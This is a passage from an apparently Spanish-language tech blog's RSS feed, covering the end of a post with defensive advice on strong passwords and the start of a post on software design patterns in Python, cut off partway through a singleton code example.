target=&#34;_blank&#34;&gt;JohnTheRipper&lt;/a&gt;&#xA; capaces de generar todas la combinaciones posibles a partir de tus datos personales, por lo que no es seguro de ninguna manera. Tu contraseña no debe tener partes que puedan conseguirse a partir de una plática contigo o tus conocidos. Va de nuevo, &lt;strong&gt;tu contraseña no debe estar basada en ninguna información personal relacionada con tu persona.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;CalleFalsa123 &lt;span style=&#34;color:#78787e&#34;&gt;# Mal, no nombres de donde vives, o de series que te gustan&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;5555551111&lt;/span&gt; &lt;span style=&#34;color:#78787e&#34;&gt;# No uses tu celular de contraseña&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;19-oct-1990 &lt;span style=&#34;color:#78787e&#34;&gt;# Tu fecha de nacimiento no debería estar en una contraseña&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;evita-las-contrasenas-que-aparecen-en-diccionarios&#34;&gt;Evita las contraseñas que aparecen en diccionarios&lt;/h2&gt;&#xA;&lt;p&gt;Hay un montón de diccionarios en la red con las contraseñas más populares, como &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/praetorian-code/Hob0Rules/blob/master/wordlists/rockyou.txt.gz&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;rockyou&lt;/a&gt;&#xA;, algunos incluso enlistan todas aquellas contraseñas que han sido obtenidas a partir de hackeos a sitios web.&lt;/p&gt;&#xA;&lt;p&gt;Asegúrate de que tu contraseña no se encuentre en ninguno de esos diccionarios. Un potencial atacante siempre usará las contraseñas de los diccionarios más comunes para intentar comprometer un sistema, si tu contraseña está en uno de esos diccionarios es casi seguro que tu cuenta será un blanco fácil.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Estas contraseñas están en el top de contraseñas más comunes&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# NO LAS USES&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;iloveyou &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Qwerty&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;password1&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;adobe123&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;usa-una-contrasena-diferente-para-cada-sitio-web&#34;&gt;Usa una contraseña diferente para cada sitio web&lt;/h2&gt;&#xA;&lt;p&gt;Abundan las personas que utilizan una sola contraseña para todos sus sitios web; correo electrónico, redes sociales, hosting, celulares, etc.&lt;/p&gt;&#xA;&lt;p&gt;Una sola contraseña es muy fácil de recordar, pero si alguien llega a averiguarla tendrá acceso a todas las cuentas que tengas resguardadas bajo la misma contraseña. Es mucho mejor tener una contraseña diferente para cada sitio web. Así, en el caso de que alguien averigüe esa contraseña, solo se verá comprometida una única cuenta. Además si ocurriera alguna filtración de algún sitio web el resto de tus cuentas seguirán a salvo.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# EVITA HACER ESTO&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Contraseñas para aws, gmail, netifly, banco: password1&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# MEJOR HAZ ESTO, UNA CONTRASEÑA DIFERENTE PARA CADA SITIO WEB&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;aws: Hc4NL5sDr7VvhgL3AkTk&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gmail: caJiJiNa9fUWQ6GZRHdB&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;netifly: 2Sdmsi2CaVZksfEEVf5U&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;evita-los-caracteres-secuenciales&#34;&gt;Evita los caracteres secuenciales&lt;/h2&gt;&#xA;&lt;p&gt;Muchas contraseñas contienen caracteres secuenciales tales como &amp;ldquo;1234&amp;rdquo;, &amp;ldquo;abcde&amp;rdquo;, &amp;ldquo;xyz&amp;rdquo;, &amp;ldquo;789&amp;rdquo;.&lt;/p&gt;&#xA;&lt;p&gt;Evita que los caracteres tengan una secuencia predecible. Asegúrate de que los diferentes caracteres de tus contraseñas no estén uno junto al otro en el abecedario o en los números ordinales.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# MAL, EVITA ESTO&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Increible123&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;potato789&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;xyz123456&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;abc2020&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;la-variedad-es-buena&#34;&gt;La variedad es buena&lt;/h2&gt;&#xA;&lt;p&gt;&lt;strong&gt;Asegúrate de que tu contraseña incluya mayúsculas, minúsculas, caracteres especiales y números, mezclados&lt;/strong&gt;. De esta manera aumentamos muchísimo la cantidad de intentos que tiene que realizar un atacante para obtener una contraseña, pues ahora tendrá que incluir caracteres especiales, números, mayúsculas y minúsculas en cada intento.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;aliensaristoteleselectron &lt;span style=&#34;color:#78787e&#34;&gt;# Minúsculas&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;AliensAristotelesElectroN &lt;span style=&#34;color:#78787e&#34;&gt;# Minúsculas y mayúsculas&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;9Aliens1Aristoteles32ElectroN &lt;span style=&#34;color:#78787e&#34;&gt;# Mayúsculas, minúsculas y números&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;9&lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;Aliens&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;1|Aristoteles|32-ElectroN- &lt;span style=&#34;color:#78787e&#34;&gt;#Mayúsculas, minúsculas, números y caracteres especiales&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;asegurate-de-que-el-tiempo-estimado-en-romper-tu-contrasena-sea-largo&#34;&gt;Asegúrate de que el tiempo estimado en romper tu contraseña sea largo&lt;/h2&gt;&#xA;&lt;p&gt;Debes de recordar que &lt;strong&gt;absolutamente todas las contraseñas pueden ser obtenidas por medio de fuerza bruta&lt;/strong&gt;, lo que marca la diferencia es el tiempo que toma conseguir esto. Cuando creamos una contraseña fuerte no estamos aspirando a tener una contraseña imposible de romper, &lt;strong&gt;sino una en la que el tiempo que requiera romperla lo haga impráctico para el atacante.&lt;/strong&gt; Hay sitios web donde puedes averiguar el tiempo estimado para obtener una determinada contraseña por fuerza bruta.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Nota importante:&lt;/strong&gt; El sitio web que publicaré es para propósitos informativos. &lt;strong&gt;Nunca teclees una contraseña que usas (o usarás) en un sitio web que no conoces&lt;/strong&gt; (incluido este), no sabes si pueden almacenarla para usarla después. Yo ya me aseguré de que el sitio web no manda peticiones web al usarse. Pero, incluso así, es una mala práctica teclear tus contraseñas en otros sitios web, no lo hagas.&lt;/p&gt;&#xA;&lt;p&gt;Bien, una vez advertido puedes visitarlo entrando en &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://howsecureismypassword.net/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;este enlace&lt;/a&gt;&#xA;. De cualquier forma aquí tienes algunos ejemplos de contraseñas y el tiempo aproximado que tomaría romperlas por fuerza bruta.&lt;/p&gt;&#xA;&lt;!-- raw HTML omitted --&gt;&#xA;&lt;p&gt;Datos obtenidos de &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://howsecureismypassword.net&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;https://howsecureismypassword.net&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Se puede apreciar que incluso aunque incluir números en una contraseña no la vuelve fuerte automáticamente, por otro lado a mayor longitud y presencia de caracteres especiales. No necesariamente debe ser una contraseña ilegible compuesta de caracteres aleatorios, de hecho muchas veces es mejor una contraseña compuesta de palabras o una frase que tenga sentido &lt;strong&gt;únicamente para ti.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;un-poco-mas-sobre-seguridad&#34;&gt;Un poco más sobre seguridad&lt;/h2&gt;&#xA;&lt;p&gt;Incluso si cuentas con una contraseña muy fuerte esta será completamente inútil si un atacante la averigua usando otros métodos diferentes a la fuerza bruta. Aquí unos cuantos consejos sobre seguridad informática relacionados con contraseñas.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Evita ingresar tu contraseña en computadoras públicas, nunca sabes si hay algún keylogger físico o virtual instalado&lt;/li&gt;&#xA;&lt;li&gt;Mantente alejado de sitios web que no están cifrados, prefiere siempre aquellos sitios web que usan HTTPS en lugar de HTTP&lt;/li&gt;&#xA;&lt;li&gt;No ingreses contraseñas en redes públicas, tales como cafeterías o redes abiertas, nunca sabes si la red está siendo presa de un ataque MITM&lt;/li&gt;&#xA;&lt;li&gt;Cuidado con las personas que te miran mientras tecleas, a veces para un atacante es más eficaz echar un vistazo directo a tus contraseñas mientras las tecleas que descubrir una vulnerabilidad en tu sistema.&lt;/li&gt;&#xA;&lt;li&gt;No anotes jamás tus contraseñas en notas adhesivas o cuadernos a los que puedan acceder otras personas. Pegar tus contraseñas en el cubículo de tu oficina es una pésima idea.&lt;/li&gt;&#xA;&lt;li&gt;Nunca jamás digas tus contraseñas a absolutamente nadie por teléfono u otros medios, esta es una táctica de ingeniería social con un alto índice de éxito y todos podemos convertirnos en víctimas en un descuido&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;hay-maneras-mas-sencillas-de-manejar-contrasenas&#34;&gt;Hay maneras más sencillas de manejar contraseñas&lt;/h2&gt;&#xA;&lt;p&gt;¿Pero no es mucho lio todo lo anterior? Sí, de hecho es bastante complicado mantener un sistema seguro usando contraseñas fuertes, es por eso que existen programas y sitios web que se encargan de gestionar tus contraseñas para que tu no tengas que preocuparte de muchas de las cosas que acabo de mencionar. Entra en la siguiente entrada para conocer keepassx, la herramienta que yo uso actualmente para gestionar mis contraseñas y aprender a usarla.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Uno de mis amigos trabajaba como auditor de seguridad informática en una empresa cuyo nombre no mencionaré por razones obvias. Eventualmente nuestra conversión llegó al tema de su día a día en el trabajo, le pregunté acerca de sus funciones en la empresa y me respondió que su trabajo consistía principalmente en regañar y educar a los empleados sobre lo débiles que eran sus contraseñas. Lo crítico de esto es que muchas de esos empleados eran los encargados de crear los sistemas informáticos de los clientes para los que trabajaban. Sí, profesionales en TI que son descuidados con sus contraseñas, uno pensaría que es imposible, pero es mucho más común de lo que se cree. Muy pocas personas saben crear una contraseña segura.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Patrones de Diseño o Software Design Patterns</title>
      <link>https://coffeebytes.dev/es/python/patrones-de-diseno-o-software-design-patterns/</link>
      <pubDate>Sun, 31 May 2020 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/python/patrones-de-diseno-o-software-design-patterns/</guid>
      
      <category>python</category>
      
      <category>algoritmos</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Los patrones de diseño son soluciones comunes a problemas comunes, representados por entidades y las relaciones entre ellas en programación, entre ellos probablemente ya has escuchado hablar de algunos tales como: singleton, MVC o MTV, observer, entre otros. Pero esa explicación de los patrones de diseño es muy técnica para un primer acercamiento, déjame lo simplifico a continuación.&lt;/p&gt;&#xA;&lt;h2 id=&#34;que-son-los-patrones-de-diseno&#34;&gt;¿Qué son los patrones de diseño?&lt;/h2&gt;&#xA;&lt;p&gt;Cuando queremos desplazarnos de un lugar a otro por cortas distancias utilizamos un vehículo terrestre, estos generalmente tienen 3 elementos: ruedas, una superficie donde colocaremos el objeto o persona a transportar y un medio que genere o transfiera la energía necesaria para el movimiento. Las ruedas generalmente van en contacto con el piso y el método de propulsión está unido a las ruedas para hacerlas girar y permitir el movimiento.&lt;/p&gt;&#xA;&lt;p&gt;Cuando una persona quiere crear un vehículo que cumpla la función de transportar un objeto por tierra generalmente pensará en estos elementos y trabajará sobre esos elementos para modificarlos y crear algo diferente o más sofisticado. Esta unión de objetos es un &lt;strong&gt;patrón de diseño&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;patrones-de-diseno-en-software&#34;&gt;Patrones de diseño en Software&lt;/h2&gt;&#xA;&lt;p&gt;Ahora imagina que quieres que se ejecute solo una instancia de una clase ejecutándose a la vez, entonces decides que el proceso para hacerlo es el siguiente:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Revisa si hay una instancia ejecutándose.&lt;/li&gt;&#xA;&lt;li&gt;Si no existe creala y retórnala&lt;/li&gt;&#xA;&lt;li&gt;Si ya existe retorna esa.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Así de simple. Esta solución sería un patrón de diseño al problema común de ejecutar una sola instancia.&lt;/p&gt;&#xA;&lt;p&gt;En el software los patrones de diseño son iguales, son el acomodo y las relaciones específicas de objetos, métodos y atributos que nos permiten solucionar un problema. ¿Cómo que problemas? Prácticamente cualquier problema que se presente con demasiada frecuencia para que se llegue a una solución estandarizada.&lt;/p&gt;&#xA;&lt;p&gt;Algunos problemas muy comunes son: &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/software-architecture/explicacion-del-patron-de-diseno-worker-pool/&#34;&gt;el procesamiento de tareas usando un número fijo de workers&lt;/a&gt;&#xA;, asegurarse de que solo haya una instancia de una clase ejecutándose, adaptar una API complicada e imposible de modificar a una más sencilla y fácil de entender o separar la parte que maneja la base de datos, la que decide la lógica y la que muestra el contenido HTML de una página web.&lt;/p&gt;&#xA;&lt;p&gt;¿Te suena este último a algo? &lt;strong&gt;Sí, el patrón MVC que usan muchos &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/por-que-deberias-usar-django-framework/&#34;&gt;frameworks, como django&lt;/a&gt;&#xA;, es un patrón de diseño.&lt;/strong&gt; O el patrón &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/javascript/explicacion-interactiva-de-debounce-y-throttle/&#34;&gt;debounce y Throttle&lt;/a&gt;&#xA; usados frecuentemente en Javascript.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Otro ejemplo es el famosísimo &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/software-architecture/composicion-sobre-herencia-en-poo-explicada-con-legos/&#34;&gt;&amp;ldquo;composición sobre herencia&amp;rdquo;&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Los patrones de diseño facilitan que el desacoplamiento del código, lo que vuelve más sencillo agregar o remover funciones y también nos dan la seguridad de que son soluciones que ya han sido probadas una y otra vez a lo largo de los años.&lt;/p&gt;&#xA;&lt;h2 id=&#34;patrones-de-diseno-comunes-en-software&#34;&gt;Patrones de diseño comunes en software&lt;/h2&gt;&#xA;&lt;p&gt;Hay numerosos patrones en existencia como problemas a resolver, así mismo los patrones pueden combinarse entre sí en sistemas complejos. Sin embargo hay ciertos patrones bastante populares que son los que han sido recopilados para ponerse en la mayoría de los libros que tratan este tema. Generalmente encontrarás estos:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Singleton&lt;/li&gt;&#xA;&lt;li&gt;Prototype&lt;/li&gt;&#xA;&lt;li&gt;Factory&lt;/li&gt;&#xA;&lt;li&gt;Builder&lt;/li&gt;&#xA;&lt;li&gt;Adapter&lt;/li&gt;&#xA;&lt;li&gt;Decorador&lt;/li&gt;&#xA;&lt;li&gt;Facade&lt;/li&gt;&#xA;&lt;li&gt;Proxy&lt;/li&gt;&#xA;&lt;li&gt;Chain of responsability&lt;/li&gt;&#xA;&lt;li&gt;Command&lt;/li&gt;&#xA;&lt;li&gt;Interpreter&lt;/li&gt;&#xA;&lt;li&gt;Iterator&lt;/li&gt;&#xA;&lt;li&gt;Observer&lt;/li&gt;&#xA;&lt;li&gt;State&lt;/li&gt;&#xA;&lt;li&gt;Strategy&lt;/li&gt;&#xA;&lt;li&gt;Template method&lt;/li&gt;&#xA;&lt;li&gt;Visitor&lt;/li&gt;&#xA;&lt;li&gt;MVC&lt;/li&gt;&#xA;&lt;li&gt;Publish-suscribe&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;De la misma manera que surgieron esos patrones como respuesta a problemas existentes, se crean patrones nuevos frente a nuevos problemas, por lo que &lt;strong&gt;no hay una lista de patrones estáticos que sean absolutos y resuelvan todos los problemas&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;ejemplos-de-patrones-de-diseno-singleton-observador-template-decorador&#34;&gt;Ejemplos de patrones de diseño: singleton, observador, template, decorador&lt;/h2&gt;&#xA;&lt;p&gt;Voy a explicarte cuatro ejemplos de patrones de diseño en Python a continuación. ¿Por que Python? Porque es bastante sencillo de entender, incluso si nunca has escrito código Python, y si vienes de un lenguaje de bajo nivel, seguramente será pan comido para ti.&lt;/p&gt;&#xA;&lt;h3 id=&#34;patron-de-diseno-singleton&#34;&gt;Patrón de diseño singleton&lt;/h3&gt;&#xA;&lt;p&gt;Se usa cuando se quiere prevenir la creación de múltiples instancias de un mismo objeto. Por ejemplo, no querremos dos objetos que controlen el mouse o la impresora ejecutándose al mismo tiempo. Su uso indiscriminado es &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;http://97cosas.com/programador/resiste-tentacion-singleton.html&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;considerado por muchos un antipatrón.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;El truco de su funcionamiento ocurre en el método &lt;em&gt;new&lt;/em&gt;. Este método se llama cuando se crea una clase y recibe la misma clase como parámetro.&lt;br&gt;&#xA;Al crearse un nuevo objeto revisará si existe el atributo &lt;em&gt;instancia&lt;/em&gt; en nuestra clase. Si no detecta el atributo &lt;em&gt;instance&lt;/em&gt; creará una instancia de la clase &lt;em&gt;SingletonObject&lt;/em&gt; y la asignará a &lt;em&gt;instance&lt;/em&gt;. Posteriormente la retornará. En cambio, si la detecta, simplemente la retornará.&lt;/p&gt;&#xA;&lt;p&gt;Los métodos &lt;em&gt;getattr&lt;/em&gt; y &lt;em&gt;setattr&lt;/em&gt; están modificados para obtener y asignar los atributos de la clase que se encuentra definida en el atributo &lt;em&gt;instance&lt;/em&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#singleton_object.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;   &lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;SingletonObject&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;object&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;__SingletonObject&lt;/span&gt;():&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;__init__&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;                &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;val &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;None&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;__str__&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;                &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;{0!r}&lt;/span&gt;&lt;span 